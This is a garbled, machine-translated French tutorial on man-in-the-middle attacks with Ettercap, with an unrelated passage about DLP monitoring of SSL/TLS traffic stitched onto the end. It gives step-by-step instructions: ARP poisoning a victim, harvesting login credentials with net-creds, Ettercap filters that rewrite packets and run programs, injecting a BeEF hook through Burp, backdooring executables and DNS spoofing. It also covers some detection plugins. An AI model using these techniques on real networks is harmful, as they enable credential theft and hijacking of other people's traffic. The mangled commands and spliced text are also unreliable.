Instructions pour Ettercap : attaque de l'homme du milieu (MitM), interception de mot de passe, contournement HSTS, substitution de données à la volée, utilisation de filtres et de plugins personnalisés, accrochage BeEF, infection par porte dérobée. Easy Hack : les secrets des hackers sur des choses simples Interception

Alternatives à Ettercap

Ettercap est le plus programme populaire pour une attaque de l'homme du milieu, mais est-ce la meilleure ? Tout au long des instructions, vous verrez qu'Ettercap n'est presque jamais utilisé seul, que tel ou tel programme est toujours construit avec lui dans une chaîne de traitement du trafic. Cela ajoute peut-être de la flexibilité ; en général, cette approche est la base d'UNIX : un programme effectue une tâche et l'utilisateur final combine différents programmes pour obtenir le résultat souhaité. Avec cette approche, le code du programme est plus facile à maintenir ; à partir de ces « briques » miniatures, vous pouvez construire un système de n'importe quelle complexité et flexibilité. Cependant, disposer de cinq consoles ouvertes avec des tâches différentes, dont les programmes visent à obtenir un seul résultat, n'est pas très pratique, c'est tout simplement plus compliqué, il y a une possibilité de se tromper à un moment donné, et l'ensemble est configuré le système fonctionnera en vain.

Renifler Net-Creds :

  • URL visitées
  • Requêtes POST envoyées
  • identifiants/mots de passe à partir de formulaires HTTP
  • identifiants/mots de passe pour l'authentification HTTP de base
  • Recherches HTTP
  • Connexions/mots de passe FTP
  • Identifiants/mots de passe IRC
  • Identifiants/mots de passe POP
  • Identifiants/mots de passe IMAP
  • Identifiants/mots de passe Telnet
  • Identifiants/mots de passe SMTP
  • Chaîne de communauté SNMP
  • tous les protocoles NTLMv1/v2 pris en charge comme HTTP, SMB, LDAP, etc.
  • Kerberos

Une bonne sélection d'images interceptées, et le filet dérivant est plus simple à cet égard - il ne montre que les images interceptées.

Mettez votre appareil en mode transfert.

Écho "1" > /proc/sys/net/ipv4/ip_forward

Lancez Ettercap avec une interface graphique (-G) :

Ettercap-G

Sélectionnez maintenant Hôtes, il y a un sous-élément Rechercher des hôtes. Une fois l'analyse terminée, sélectionnez la liste des hôtes :

En tant que Target1, sélectionnez le routeur (Ajouter à la cible 1), en tant que Target2, sélectionnez l'appareil que vous allez attaquer (Ajouter à la cible 2).

Mais c'est ici que le premier problème peut survenir, surtout s'il y a beaucoup d'hôtes. Dans diverses instructions, y compris dans la vidéo présentée ci-dessus, les auteurs grimpent sur la machine cible (tout le monde, pour une raison quelconque, y a Windows) et à l'aide de la commande regardez l'adresse IP de cette machine dans réseau local. D'accord, cette option est inacceptable dans des conditions réelles.

Si vous numérisez en utilisant , vous pouvez obtenir des informations supplémentaires sur les hôtes, ou plus précisément sur le fabricant de la carte réseau :

Nmap-sn 192.168.1.0/24

Si les données ne suffisent toujours pas, vous pouvez effectuer une analyse pour déterminer le système d'exploitation :

Nmap-O 192.168.1.0/24

Comme nous pouvons le voir, la machine avec l'IP 192.168.1.33 s'est avérée être Windows, si ce n'est pas un signe d'en haut, alors qu'est-ce que c'est ? 😉MDR

C’est ce que nous ajoutons comme deuxième objectif.

Allez maintenant à l'élément de menu Mitm. Là, sélectionnez Empoisonnement ARP... Cochez la case Sniff les connexions à distance.

Nous commençons à récolter, dans une fenêtre nous lançons

Crédits nets

dans un autre (les deux programmes peuvent être exécutés sans options)

Filet dérivant

La collecte des données a commencé immédiatement :

Sur le côté droit, Driftnet a ouvert une autre fenêtre dans laquelle il affiche les images interceptées. Dans la fenêtre net-creds, nous voyons les sites visités et les mots de passe interceptés :

1.2 Ettercap + Burp Suite
3. Afficher les données (sites visités et mots de passe capturés) dans Ettercap

Dans le menu Affichage, nous avons accès aux onglets Connexions et Profils. Vous pouvez également cocher la case Résoudre les adresses IP. Les connexions sont, bien sûr, des connexions. Ettercap collecte des profils en mémoire pour chaque hôte découvert. Les utilisateurs et les mots de passe y sont collectés. Dans ce cas, les profils avec des données de compte capturées (mots de passe) sont marqués d'une croix :

Il n'est pas nécessaire de trop s'appuyer sur les profils - par exemple, les identifiants et mots de passe interceptés pour FTP et d'autres services sont marqués, pour lesquels le programme peut clairement interpréter les informations reçues comme des informations d'identification. Cela n'inclut pas, par exemple, les données d'authentification de base, les identifiants et les mots de passe saisis dans les formulaires Web.

Dans Connections, les données les plus prometteuses sont marquées d'un astérisque :

Vous pouvez double-cliquer sur ces entrées pour afficher les détails :

Afin de ne pas rechercher ces étoiles dans la liste, vous pouvez trier selon ce champ et elles apparaîtront toutes en haut ou en bas :

Authentification de base capturée :

Mot de passe de connexion pour Yandex (mis en évidence ci-dessous) :

Voici les informations d'identification interceptées pour VKontakte :

Aussi, les données les plus intéressantes sont collectées dans la console inférieure :

Si vous souhaitez enregistrer les résultats du programme, utilisez ces options (précisez les touches au démarrage d'Ettercap :

Options de journalisation : -w, --write écrire les données capturées dans pcapfile -L, --log écrire tout le trafic dans ce -l, --log-info écrire uniquement les informations passives dans ce -m, --log-msg écrire tous les messages dans ce -c, --compress utilise la compression gzip pour les fichiers journaux

4. Substitution de données à la volée dans Ettercap
4.1 Utilisation des filtres personnalisés Ettercap

Remarque : Malgré tous les tests, les filtres Ettercap ne fonctionnent toujours pas pour moi. Il est difficile de comprendre s'il s'agit de mains, de fonctionnalités matérielles ou d'une erreur dans le programme lui-même... Mais pour la version 0.8.2 (la dernière en date pour le moment), il existe un rapport de bug concernant des problèmes avec les filtres. En général, à en juger par les rapports de bugs et les forums, les filtres tombent souvent ou ne fonctionnent plus du tout depuis longtemps. Il y a une branche où des modifications ont été apportées il y a 5 mois https://github.com/Ettercap/ettercap/tree/filter-improvements, c'est-à-dire améliorations des filtres (avec améliorations des filtres). Tant pour cette branche que pour la version du référentiel, une grande variété de tests ont été effectués, divers filtres ont été testés dans différentes conditions, beaucoup de temps a été passé, mais il n'y a eu aucun résultat. À propos, pour installer la version améliorée des filtres dans Kali Linux tu dois faire ceci :

Sudo apt-get supprimer ettercap-graphical ettercap-common sudo apt-get install git debhelper bison check cmake flex ghostscript libbsd-dev libcurl4-openssl-dev libgtk2.0-dev libltdl-dev libluajit-5.1-dev libncurses5-dev libnet1-dev libpcap-dev libpcre3-dev libssl-dev libgtk-3-dev ghostscript groff libtool libpcre3 libncurses5-dev git clone -b filter-improvements https://github.com/Ettercap/ettercap.git cd ettercap/ mkdir build cd build cmake ENABLE_PDF_DOCS =On ../ make sudo make install

En général, si vos filtres ne fonctionnent pas, vous n'êtes pas seul. Dans les instructions sur Ettercap, je ne peux pas ignorer le sujet des filtres, ils seront donc abordés dans tous les cas.

Jusqu'à présent, nous avons utilisé Ettercap pour l'usurpation d'identité ARP. C'est une application très superficielle. Grâce à des filtres personnalisés, nous pouvons intervenir et modifier le trafic à la volée. Les filtres doivent être contenus dans fichiers séparés et ils doivent être compilés avec le programme Etterfilter avant utilisation. Bien que la documentation vers laquelle le lien est donné semble rare, mais couplée aux exemples donnés ci-dessous, elle vous permettra d'écrire des filtres assez intéressants.

Créons notre premier filtre, il remplacera toutes les images par ceci :

Dans un fichier nommé img_replacer.filter copie :

If (ip.proto == TCP && tcp.dst == 80) ( if (search(DATA.data, "Accept-Encoding")) ( replace("Accept-Encoding", "Accept-Rubbish!"); # remarque : la chaîne de remplacement a la même longueur que l'original msg("zapped Accept-Encoding!\n" ) ) if (ip.proto == TCP && tcp.src == 80) ( replace("src=", " src=\"http://www.irongeek.com/images/jollypwn.png\" "); remplacer("SRC=", "src=\"http://www.irongeek.com/images/jollypwn. png\" "); remplacer("src =", "src=\"http://www.irongeek.com/images/jollypwn.png\" "); remplacer("SRC =", "src=\" http://www.irongeek.com/images/jollypwn.png\" "); msg("Filter Ran.\n" );

Compilez le fichier :

Etterfilter img_replacer.filter -o img_replacer.ef

Résultats de la compilation :

Etterfilter 0.8.2 copyright 2001-2015 Ettercap Development Team 14 tables de protocole chargées : DONNEES DÉCODÉES udp tcp esp gre icmp ipv6 ip arp wifi fddi tr eth 13 constantes chargées : VRRP OSPF GRE UDP TCP ESP ICMP6 ICMP PPTP PPPOE IP6 IP ARP Fichier source d'analyse "img_replacer.filter" terminé.

Dépliage du méta-arbre terminé.

Conversion des étiquettes en décalages réels terminée.

Écriture de la sortie dans "img_replacer.ef" terminée.

-> Script codé en 18 instructions.

Le commutateur -F indique au programme de charger le filtre à partir du fichier qui suit le commutateur. Après compilation, le nom de notre nouveau fichier avec le filtre est img_replacer.ef, la commande prend donc la forme :

Ettercap -G -F img_replacer.ef

# remplacement de texte dans un paquet : if (ip.proto == TCP && search(DATA.data, "lol"))( replace("lol", "smh"); msg("filter ran"); ) # show message, si le port TCP est 22 if (ip.proto == TCP) ( if (tcp.src == 22 || tcp.dst == 22) ( msg("SSH packet\n"); ) ) # écrire tout le trafic telnet, exécutez également ./program pour chaque paquet if (ip.proto == TCP) ( if (tcp.src == 23 || tcp.dst == 23) ( log(DATA.data, "./ logfile.log "); exec("./program"); ​​​​​) ) # enregistrer tout le trafic sauf http if (ip.proto == TCP && tcp.src != 80 && tcp.dst != 80) ( log (DATA.data , "./logfile.log" ) # certaines opérations avec la charge utile du paquet if (DATA.data + 20 == 0x4142) ( DATA.data + 20 = 0x4243; ) else ( DATA.data = "modified "; DATA .data + 20 = 0x4445; ) # supprime tous les paquets contenant "ettercap" if (search(DECODED.data, "ettercap")) ( msg("quelqu'un parle de nous...\n"); drop( ); kill(); ) # écrire des paquets ssh déchiffrés correspondant à l'expression régulière if (ip.proto == TCP) ( if (tcp.src == 22 || tcp.dst == 22) ( if (regex(DECODED.data, ".*login.*")) ( log(DECODED.data, "./decrypted_log"); ) ) ) # tuer les paquets if (ip.ttl< 5) { msg("The packet will die soon\n"); } # то же самое для IPv6, но делая тривиальный тест убеждаемся, что перед нами действительно IPv6 пакеты if (eth.proto == IP6 && ipv6.hl < 5) { msg("The IPv6 packet will die soon\n"); } # сравнение строки на данный сдвиг if (DATA.data + 40 == "ette") { log(DATA.data, "./logfile"); } # вставить файл после указанного пакета if (tcp.src == 21 && search(DATA.data, "root")) { inject("./fake_response"); } # целиком заменить пакет на другой if (tcp.src == 23 && search(DATA.data, "microsoft")) { drop(); inject("./fake_telnet"); } # Изменение бинарных данных используя внешнюю программу if (udp.dst == 53 && pcre_regex(DATA.data, ".*\x03com\x00.*")) { log(DATA.data, "/tmp/payload"); drop(); execinject("/bin/sed "s/\x03com\x00/\x02my\x04page\x02de\x00/g" /tmp/payload"); udp.len += 7; exec("/bin/rm /tmp/payload"); msg("faked"); } # фильтровать только указанный IP адрес if (ip.src == "192.168.0.2") { drop(); } # делать то же самое для IPv6 if (ipv6.src == "2001:db8::1") { drop(); } # комбинируем IPv4 и IPv6 if (eth.proto == IP && ip.dst == "192.168.0.2") { msg("drop IPv4"); drop(); } if (eth.proto == IP6 && ipv6.dst == "2001:db8::1") { msg("drop IPv6"); drop(); } # транслировать tcp пакеты с порта 80 на 81 if (tcp.dst == 80) { tcp.dst -= 1; tcp.dst += 2; } # найти и покалечить пакеты ESP if (ip.proto == ESP) { DATA.data = "DEADDECAF"; }

4.2 Substitution de données à l'aide de Burp

Nous lançons Ettercap et Burp comme décrit au paragraphe 1.2 ou au paragraphe 2.2.

Dans Burp, allez dans Proxy -> Options. On y retrouve Match et Remplacer. Cliquez sur Ajouter pour ajouter une nouvelle règle.

  • L'en-tête de la requête est l'en-tête de la requête
  • Corps de la requête - corps de la requête
  • En-tête de réponse - en-tête de réponse
  • Corps de réponse - corps de réponse
  • Nom du paramètre de demande - Nom du paramètre de demande
  • Valeur du paramètre de demande - Valeur du paramètre de demande
  • Première ligne de la requête - Première ligne de la requête

Si vous devez modifier les données transmises par la méthode GET, cela s'applique aux en-têtes.

DANS Balisage HTML Il existe également head (balise head). Ceux cités juste au-dessus n’ont rien à voir avec ce titre. Un peu plus haut on parle d'en-têtes de paquets. Si vous souhaitez modifier le contenu Pages HTML, alors vous devez toujours sélectionner Corps de réponse au lieu de En-tête de demande, même si vous envisagez de modifier le contenu de la balise head (par exemple, le titre).

Si vous n'êtes pas familier avec expressions régulières, alors, en principe, il n'y a pas de quoi s'inquiéter : HTML pardonne beaucoup, et ce qu'il ne comprend pas, il l'ignore simplement - vous pouvez l'utiliser. Si vous savez utiliser les expressions régulières, alors je vous respecte.)))

Par exemple, créons une nouvelle règle, en remplaçant l'en-tête de la requête par le corps de la réponse. Dans la règle elle-même, nous changerons

.*

Pas de titre

Cochez la case de correspondance Regex.

Désormais sur tous les sites (sans HTTPS) le titre sera No Title :

Insérez une ligne arbitraire après la balise body (ce sera la première ligne du texte). L’en-tête de la demande est remplacé par le corps de la réponse. Nous changeons

Cochez la case de correspondance Regex.

Dans le coin supérieur droit (selon la mise en page) apparaît l'inscription « Je suis cool ! » Vous pouvez insérer du CSS, du code JavaScript, n'importe quel texte, n'importe quoi. Vous pouvez généralement tout supprimer de la page, puis la remplir avec votre propre contenu - tout dépend de votre imagination.

L’idée était de modifier légèrement chaque formulaire pour que les données soient envoyées au serveur d’origine et au serveur de l’attaquant (implémenter le multi-submit pour chaque formulaire). Mais étant donné que si les données transmises ne sont pas cryptées et que nous y avons accès, alors nous les voyons déjà, il n'est pas nécessaire de les envoyer à un serveur. Cependant, si quelqu'un a besoin d'un exemple vraiment fonctionnel d'envoi de données d'un formulaire à plusieurs serveurs à la fois.

5. Connexion sur BeEF

Pour commencer à utiliser les capacités de BeEF, nous devons intégrer un fichier JavaScript dans le code HTML, généralement une ligne comme :

Les deux méthodes suivantes diffèrent uniquement par la méthode d'intégration de cette chaîne.

5.1 Raccordement de BeEF à l'aide de filtres Ettercap

[section à préparer plus tard]

5.2 Connecter BeEF avec Burp

Vous devez commencer exactement comme écrit au paragraphe 4.2. Seulement, au lieu de remplacer les en-têtes et d'ajouter du texte au site, nous implémenterons du code JavaScript sous la forme d'une ligne :

Dans mon cas, ce fichier est disponible sur IP 192.168.1.36 sur le port 3000. Le fichier s'appelle hook.js (peut être modifié dans les paramètres). Ceux. dans mon cas, je dois injecter la ligne :

Cela peut être fait, par exemple, en créant une nouvelle règle, en remplaçant l'en-tête de la requête par le corps de la réponse. Le remplacement doit avoir lieu dans le code HTML lui-même

Génial, lorsque vous ouvrez un site Web qui n'a pas HTTPS, du code JavaScript est inséré dans le code HTML, ce qui vous permet de collecter des informations via un navigateur accroché et de mener diverses attaques :

6. Infection par des portes dérobées

Vous pouvez remplacer et infecter les fichiers exécutables en utilisant à la fois les filtres Ettercap [qui, pour une raison quelconque, ne fonctionnent plus] et en utilisant applications tierces. Par exemple, BDFProxy peut le faire à la volée. Malheureusement, BDFProxy est encore sous le choc de la mise à jour Backdoor Factory d'avril 2016 : le package libmproxy a été renommé mitmproxy en Python. Pour BDFProxy, le package libmproxy est une dépendance nécessaire ; sans ce package, le programme ne démarrera pas. Par conséquent, maintenant, avant la « réparation » de BDFProxy, il est impossible de l'utiliser, car même avec Backdoor Factory installé, le programme BDFProxy se plaint de l'absence de la bibliothèque libmproxy...

Une opération similaire peut être effectuée avec Burp Suite. L'algorithme étape par étape est présenté ; cela n'a aucun sens de le réécrire dans cette section.

7. Utiliser les plugins Ettercap

Des informations sur les plugins Ettercap peuvent être trouvées. Il existe pas mal de plugins ; ceux décrits ci-dessous me semblent les plus intéressants.

Des plugins peuvent être connectés au lancement d'Ettercap, il existe une option pour cela :

P, --plugin exécute ceci

Les plugins peuvent également être chargés depuis l'interface graphique :

[MATÉRIEL EN PRÉPARATION]

7.1 arp_cop

Il signale les activités ARP suspectes en surveillant passivement les demandes/réponses ARP. Il peut signaler des tentatives d’empoisonnement ARP ou de simples conflits IP ou changements d’IP. Si vous créez une première liste d’hôtes, le plugin fonctionnera avec plus de précision.

Ettercap -TQP arp_cop //

Un exemple de détection réelle d’usurpation d’ARP :

Développer

Mial@HackWare-Mint ~ $ sudo ettercap -TQP arp_cop // mot de passe pour mial : ettercap 0.8.2 copyright 2001-2015 Ettercap Development Team En écoute sur : eth0 -> 08:00:27:A3:08:4A 192.168.1.36/ 255.255.255.0 fe80::a00:27ff:fea3:84a/64 La dissection SSL nécessite un script "redir_command_on" valide dans le fichier etter.conf Privilèges déposés sur EUID 65534 EGID 65534... 33 plugins 42 dissecteurs de protocole 57 ports surveillés 20530 mac empreinte digitale du fournisseur 1766 empreinte digitale du système d'exploitation TCP 2182 services connus Randomisation de 255 hôtes pour l'analyse... Analyse de l'ensemble du masque de réseau pour 255 hôtes... * |====== ================ ============================>

Mial@HackWare-Mint ~ $ sudo ettercap -TQP arp_cop // mot de passe pour mial : ettercap 0.8.2 copyright 2001-2015 Ettercap Development Team En écoute sur : eth0 -> 08:00:27:A3:08:4A 192.168.1.36/ 255.255.255.0 fe80::a00:27ff:fea3:84a/64 La dissection SSL nécessite un script "redir_command_on" valide dans le fichier etter.conf Privilèges déposés sur EUID 65534 EGID 65534... 33 plugins 42 dissecteurs de protocole 57 ports surveillés 20530 mac empreinte digitale du fournisseur 1766 empreinte digitale du système d'exploitation TCP 2182 services connus Randomisation de 255 hôtes pour l'analyse... Analyse de l'ensemble du masque de réseau pour 255 hôtes... * |====== ================ ============================>| 100,00 % 3 hôtes ajoutés à la liste des hôtes... Démarrage du reniflage unifié... Texte uniquement Interface activée... Appuyez sur "h" pour l'aide en ligne Activation du plugin arp_cop... arp_cop : plugin en cours d'exécution... arp_cop : (nouvel hôte ) 192.168.1.1 arp_cop : (AVERTISSEMENT) 192.168.1.35 fait semblant d'être 192.168.1.1 arp_cop : (AVERTISSEMENT) 192.168.1.35 fait semblant d'être 192.168.1.1 arp_cop : (AVERTISSEMENT) 192.168.1.35 fait semblant d'être 192.168.1.1 arp_cop : (AVERTISSEMENT ) 192.168.1.35 prétend être 192.168.1.1 arp_cop : (AVERTISSEMENT) 192.168.1.35 prétend être 192.168.1.1 arp_cop : (AVERTISSEMENT) 192.168.1.35 prétend être 192.168.1.1 arp_cop : ING) 2.168.1.35 prétend être 192.168 . 1.1 arp_cop : (AVERTISSEMENT) 192.168.1.35 prétend être 192.168.1.1 arp_cop : (AVERTISSEMENT) 192.168.1.35 prétend être 192.168.1.1 arp_cop : (AVERTISSEMENT) 192.168.1.35 prétend être 192.16 .1 arp_cop : (AVERTISSEMENT) 192.168 .1.35 prétend être 192.168.1.1 arp_cop : (AVERTISSEMENT) 192.168.1.35 prétend être 192.168.1.1 arp_cop : (AVERTISSEMENT) 192.168.1.35 prétend être 192.168.1.1 arp_cop : (AVERTISSEMENT 192.16) 8. 1,35 prétend être 192,168. 1.1 arp_cop : (AVERTISSEMENT) 192.168.1.35 prétend être 192.168.1.1 arp_cop : (AVERTISSEMENT) 192.168.1.35 prétend être 192.168.1.1 arp_cop : (AVERTISSEMENT) 192.168.1.35 prétend être 192.168.1. 1 arp_cop : (ATTENTION) 192.168. 1.35 prétend être 192.168.1.1 arp_cop : (AVERTISSEMENT) 192.168.1.35 prétend être 192.168.1.1 arp_cop : (AVERTISSEMENT) 192.168.1.35 prétend être 192.168.1.1 arp_cop : (AVERTISSEMENT 192.168.1.3 5) prétend être 192.168.1.1 arp_cop : (AVERTISSEMENT) 192.168.1.35 prétend être 192.168.1.1 arp_cop : (AVERTISSEMENT) 192.168.1.35 prétend être 192.168.1.1 arp_cop : (AVERTISSEMENT) 192.168.1.35 prétend être 192.168.1.1 arp_cop : (W ARNING) 192.168.1.35 fait semblant être 192.168.1.1 arp_cop : (AVERTISSEMENT) 192.168.1.35 prétend être 192.168.1.1 arp_cop : (AVERTISSEMENT) 192.168.1.35 prétend être 192.168.1.1 arp_cop : (AVERTISSEMENT) 192.168.1.35 prétend être 1 92. 168.1.1 arp_cop : (AVERTISSEMENT) 192.168.1.35 prétend être 192.168.1.1 arp_cop : (AVERTISSEMENT) 192.168.1.35 prétend être 192.168.1.1 arp_cop : (AVERTISSEMENT) 192.168.1.35 prétend être 192 68.1.1 arp_cop : ( AVERTISSEMENT) 192.168.1.35 prétend être 192.168.1.1 arp_cop : (AVERTISSEMENT) 192.168.1.35 prétend être 192.168.1.1 arp_cop : (AVERTISSEMENT) 192.168.1.35 prétend être 192.168.1.1 arp_cop : (AVERTISSEMENT) 192.168.1.35 fait semblant d'être 192.168.1.1 arp_cop : (AVERTISSEMENT) 192.168.1.35 prétend être 192.168.1.1 arp_cop : (AVERTISSEMENT) 192.168.1.35 prétend être 192.168.1.1 arp_cop : (AVERTISSEMENT) 192.168.1.35 prétend être 1 92.168 .1.1 arp_cop : (AVERTISSEMENT) 192.168.1.35 prétend être 192.168.1.1 arp_cop : (AVERTISSEMENT) 192.168.1.35 prétend être 192.168.1.1 arp_cop : (AVERTISSEMENT) 192.168.1.35 prétend être 192.168.1.1 arp_cop : (AVERTISSEMENT 19 2.168) .1.35 prétend être 192.168. 1.1 ...............................

7.2 ajout automatique

Il ajoutera automatiquement de nouvelles victimes au fur et à mesure qu’elles se connecteront à l’attaque mitm d’empoisonnement ARP. Il recherche les requêtes ARP sur le réseau local, et s'il est détecté, le plugin ajoutera l'hôte à la liste des victimes si la liste a été spécifiée comme CIBLE. Un hôte est ajouté lorsqu'une requête arp est visible depuis celui-ci.

7.3 chk_poison

Il vérifie si les modules arp etch dans ettercap réussissent. Il envoie des paquets d'écho ICMP falsifiés à toutes les victimes d'appâtage tout en se faisant passer pour chaque victime. Il peut capter une réponse ICMP avec notre adresse MAC comme destination, ce qui signifie que l'appâtage entre les deux cibles réussit. Il vérifie les deux chemins de chaque connexion.

7.4 DNS_spoof

Ce plugin interrompt les requêtes DNS et répond avec une réponse usurpée (fausse). Vous pouvez choisir à quelle adresse le plugin doit répondre en éditant le fichier etter.dns. Le plugin intercepte les requêtes A, AAAA, PTR, MX, WINS, SRV et TXT. S'il s'agit d'une requête A, le nom est recherché dans le fichier et l'adresse IP est renvoyée (vous pouvez utiliser des caractères génériques dans le nom).

Il en va de même pour les demandes AAAA.

7.5 find_conn

Un plugin très simple qui écoute les requêtes ARP pour vous montrer toutes les cibles avec lesquelles l'hôte souhaite communiquer. Il peut également vous aider à trouver des adresses sur des réseaux locaux inconnus.

Ettercap -TQzP find_conn ettercap -TQu -i eth0 -P find_conn

7.6 find_ettercap

Essaie d'identifier les paquets ettercap envoyés au réseau local. Cela peut être utile pour identifier quelqu'un qui essaie d'utiliser ettercap. Ne vous y fiez pas à 100 % car les tests ne fonctionnent que sur des séquences/numéros d'identification spécifiques.

7.7 scan_poisoner

Je vérifierai si quelqu'un s'attaque à l'un des hôtes de la liste et à nous. Tout d'abord, il vérifie si deux hôtes de la liste ont la même adresse MAC. Cela peut vouloir dire que l’un d’eux nous empoisonne en se faisant passer pour l’autre. Il peut générer de nombreux faux positifs dans un environnement proxy-arp. Vous devez créer une liste d'hôtes pour effectuer cette vérification. Après cela, il envoie des paquets d'écho icmp à chaque hôte de la liste et vérifie si l'adresse MAC de la source de réponse est différente de l'adresse que nous avons stockée dans la liste avec cette IP. Cela pourrait signifier que quelqu'un appâte cet hôte en prétendant avoir notre adresse IP et en nous transmettant les paquets interceptés. Vous ne pouvez pas exécuter ce test actif en mode non offensif.

Ettercap -TQP scan_poisoner //

7.8 recherche_promisc

Il essaie de savoir si quelqu'un renifle (écoute) en mode promiscuité. Il envoie deux requêtes arp différentes mal formées à chaque cible de la liste d'hôtes et attend les réponses. Si la réponse provient de l'hôte cible, il est plus ou moins probable que la carte réseau de la cible soit en mode promiscuité. Cela peut générer de fausses alarmes. Vous pouvez l'exécuter comme depuis ligne de commande ou depuis le menu des plugins. Puisqu'il écoute les réponses arp, il vaudra mieux que vous ne les utilisiez pas lors de l'envoi de requêtes arp.

Ettercap -TQP search_promisc /192.168.0.1/ ettercap -TQP search_promisc //

Un exemple pour réussir à deviner deux cartes réseau en mode promiscuité :

Développer

Root@HackWare:~# ettercap -TQP search_promisc ettercap 0.8.2 copyright 2001-2015 Ettercap Development Team En écoute sur : eth0 -> 08:00:27:AF:30:B9 192.168.1.35/255.255.255.0 fe80::a00 : 27ff:feaf:30b9/64 La dissection SSL nécessite un script "redir_command_on" valide dans le fichier etter.conf. Ettercap peut ne pas fonctionner correctement. /proc/sys/net/ipv6/conf/eth0/use_tempaddr n'est pas défini sur 0. Privilèges supprimés à EUID 65534 EGID 65534... 33 plugins 42 dissecteurs de protocole 57 ports surveillés 20388 empreinte digitale du fournisseur Mac 1766 empreinte digitale du système d'exploitation TCP 2182 services connus Lua : aucun script n'a été spécifié, ne démarre pas ! Randomisation de 255 hôtes pour l'analyse... Analyse de l'ensemble du masque de réseau pour 255 hôtes... * |================================ ============= ====================>

Root@HackWare:~# ettercap -TQP search_promisc ettercap 0.8.2 copyright 2001-2015 Ettercap Development Team En écoute sur : eth0 -> 08:00:27:AF:30:B9 192.168.1.35/255.255.255.0 fe80::a00 : 27ff:feaf:30b9/64 La dissection SSL nécessite un script "redir_command_on" valide dans le fichier etter.conf. Ettercap peut ne pas fonctionner correctement. /proc/sys/net/ipv6/conf/eth0/use_tempaddr n'est pas défini sur 0. Privilèges supprimés à EUID 65534 EGID 65534... 33 plugins 42 dissecteurs de protocole 57 ports surveillés 20388 empreinte digitale du fournisseur Mac 1766 empreinte digitale du système d'exploitation TCP 2182 services connus Lua : aucun script n'a été spécifié, ne démarre pas ! Randomisation de 255 hôtes pour l'analyse... Analyse de l'ensemble du masque de réseau pour 255 hôtes... * |================================ ============= ====================>| 100,00 % 5 hôtes ajoutés à la liste des hôtes... Démarrage du reniflage unifié... Texte uniquement Interface activée... Appuyez sur "h" pour l'aide en ligne Activation du plug-in search_promisc... search_promisc : recherche des cartes réseau promises... Reniflage moins probable des cartes réseau : - 192.168.1.36 - 192.168.1.34 Très probablement reniflant les cartes réseau : - AUCUNE Fermeture de l'interface texte... Terminaison d'ettercap... Nettoyage de Lua terminé ! Le reniflage unifié a été arrêté.

7.9 sslstrip

Lors d'une attaque SSL mitm, ettercap remplace le vrai certificat SSL par le sien. Le faux certificat est créé à la volée et tous les champs sont remplis conformément au vrai certificat présenté par le serveur.

  • (62%)
  • (56.5%)
  • (ALÉATOIRE - 0,2%)
  • Parmi les tâches de sécurité de l'information, la lutte contre les fuites d'informations confidentielles devient de plus en plus importante. Selon des sources ouvertes, au cours de l'année 2016, le nombre de fuites a augmenté de 86 % et 47 % ont rencontré ce problème. Entreprises russes des profils très différents. Ce problème est résolu à l'aide des systèmes de classes DLP (Data Loss Prevention). L'article traite de la mise en œuvre de l'un des modules d'un tel système, qui assure la surveillance du trafic SSL/TLS en interceptant les fonctions du système Windows.

    Lutte contre les fuites informations importantes nécessite une surveillance du trafic réseau. Cela implique d'analyser toutes les données transmises sur le réseau de différentes manières, y compris les données transmises cryptées via le protocole SSL/TLS.

    L'interception des données transmises via le protocole SSL/TLS est possible à l'aide d'une attaque de l'homme du milieu (ou MITM en abrégé). Pour ce faire, le système de surveillance joue le rôle d'intermédiaire entre le client et le serveur. Toutes les informations du client sont d'abord transmises à l'intermédiaire (c'est-à-dire le système de surveillance), puis transmises au serveur. A l’inverse, toutes les informations du serveur parviennent d’abord à l’intermédiaire puis sont transmises au client.

    Fig 1. Attaque de l'homme du milieu


    La manière la plus simple de « présenter » un intermédiaire repose sur l’utilisation d’un serveur intermédiaire (serveur proxy). Dans ce cas, le client et le serveur ne communiquent pas directement. Le client envoie toutes les requêtes à un serveur intermédiaire, qui les transmet au serveur réel. De même, le serveur réel envoie des réponses à un serveur intermédiaire, qui les transmet au client.

    Si les données sont transférées via SSL/TLS, alors les deux connexions (du client au serveur intermédiaire et du serveur intermédiaire au serveur réel) sont sécurisées. Les deux connexions utilisent leur propre certificat et leur propre clé privée. Le serveur intermédiaire dispose des clés privées des deux connexions et « ré-chiffre » les données : il reçoit les données chiffrées, les décrypte et les chiffre à l'aide d'un autre serveur. clé privée et finalement l'envoie. Ainsi, le serveur intermédiaire dispose de toutes les données transmises sous forme non cryptée.

    L'utilisation d'un serveur intermédiaire présente deux inconvénients importants. Premièrement, cela peut être trop visible pour l’utilisateur final. Deuxièmement, si le serveur intermédiaire s'exécute sur la machine client, alors au niveau du système d'exploitation, le nombre de connexions réseau ouvertes double. Cela crée une charge supplémentaire sur le sous-système réseau du système d'exploitation et peut entraîner des pannes dans les cas où cela est nécessaire. grand nombre ouvrir simultanément des connexions réseau.

    L'interception des appels de fonction système offre un moyen plus élégant et plus discret d'implémenter un homme du milieu. Pour ce faire, le système de surveillance se connecte à un processus déjà en cours et remplace pour cela les fonctions système utilisées lors de l'interaction réseau. De plus, lorsque le processus accède aux fonctions du système interceptées, le contrôle est transféré au système de surveillance. Ainsi, il contrôle entièrement les activités réseau du processus et peut servir d'intermédiaire dans l'interaction du processus avec un serveur distant.


    Figure 2. Attaque de l'homme du milieu utilisant une bibliothèque intermédiaire qui intercepte les fonctions du système


    Le système de surveillance du trafic SSL/TLS est lancé à l'aide de trois simples mesures:
    1. Connectez-vous au processus client spécifié (à l'aide de fonctionnalités standards système d'exploitation).
    2. Chargement d'une bibliothèque intermédiaire dynamique, qui implémente ses propres fonctions d'interaction réseau.
    3. Configurer l'interception des fonctions d'interaction réseau pour que lorsque ces fonctions sont appelées, l'appel soit fait non pas aux fonctions système, mais aux fonctions implémentées dans la bibliothèque chargée.

    La bibliothèque de médiation a les mêmes fonctionnalités que le serveur intermédiaire. Ainsi, toutes les informations de l'application client vont d'abord à la bibliothèque intermédiaire, puis sont transmises au serveur réel. A l’inverse, toutes les informations du serveur réel vont d’abord vers la bibliothèque intermédiaire puis sont transmises à l’application.


    Fig 3. Interception de données par une bibliothèque intermédiaire


    Pour interagir avec le serveur, la bibliothèque intermédiaire utilise des fonctions et des mécanismes système standards. Si les informations sont transmises via SSL/TLS, une connexion sécurisée est utilisée, qui est établie par la bibliothèque intermédiaire. Une fois la connexion établie, la bibliothèque intermédiaire « connaît » la clé privée utilisée pour chiffrer/déchiffrer les données.

